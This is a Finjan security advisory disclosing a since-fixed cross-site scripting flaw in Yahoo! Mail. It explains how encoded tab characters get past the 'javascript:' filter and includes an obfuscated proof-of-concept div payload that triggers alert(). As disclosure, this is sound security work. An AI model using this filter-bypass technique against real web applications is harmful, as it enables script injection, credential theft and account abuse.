<<< Date Index >>>     <<< Thread Index >>>

Yahoo! Mail Cross-Site Scripting Vulnerability



Finjan Security Advisory
=================
Yahoo! Mail Cross-Site Scripting Vulnerability


Introduction
------------
Finjan has discovered a script injection vulnerability in Yahoo!
Mail that allows a remote attacker to execute malicious scripts
when the victim is reading his/her mail.


Technical Description
---------------------
Yahoo’s mobile code filtering mechanism is based on an
active content filter whose purpose is to block the
injection of any active content into Yahoo! messages.
Yahoo’s filter identifies any instance of the inline
use of the javascript protocol (e.g. “javascript:”)
and upon identification adds an underscore before the “j”,
thus creating an invalid protocol request.
The above filtering algorithm can be bypassed by inserting
encoded tab characters (&#x0009;) into the “javascript”
string.

For example:
------------
<div style="background: url(j&#x0009;a&#x0009;v&#x0009;a&#x0009;
s&#x0009;c&#x0009;r&#x0009;i&#x0009;p&#x0009;t:alert());"></div>

Any tag that supports the style property can be used to call a javascript
file.
The injected javascript code could lead to:
• Automatic launching of malicious code
• Stealing the victim’s password by using a spoofed re-login window
• Reading the victim’s inbox and contacts
• Sending an email message without any user authorization


The Code (Proof of Concept)
----------------------cut here-----------------------
<div style="&#x000062;&#x000061;&#x00063;&#x00006B;&#x000067;&#x000072;
&#x00006F;&#x000075;&#x00006E;&#x000064;&#x00003A;&#x00075;&#x00072;
&#x0006C;&#x00028;j&#x00061;&#x0009;&#x0009;v&#x0009;&#x00061;&#x0009;
s&#x00063;&#x0009;&#x00072;&#x0009;&#x00069;&#x0009;&#x00070;&#x0009;
&#x00074;&#x0003A;alert());"></div>
----------------------cut here-----------------------


Vulnerability Status
--------------------
Vendor was notified on Sep 8th, 2004.
The bug is now fixed.


Credit
------
Rafel Ivgi, Malicious Code Research Center (MCRC), Finjan Software Ltd.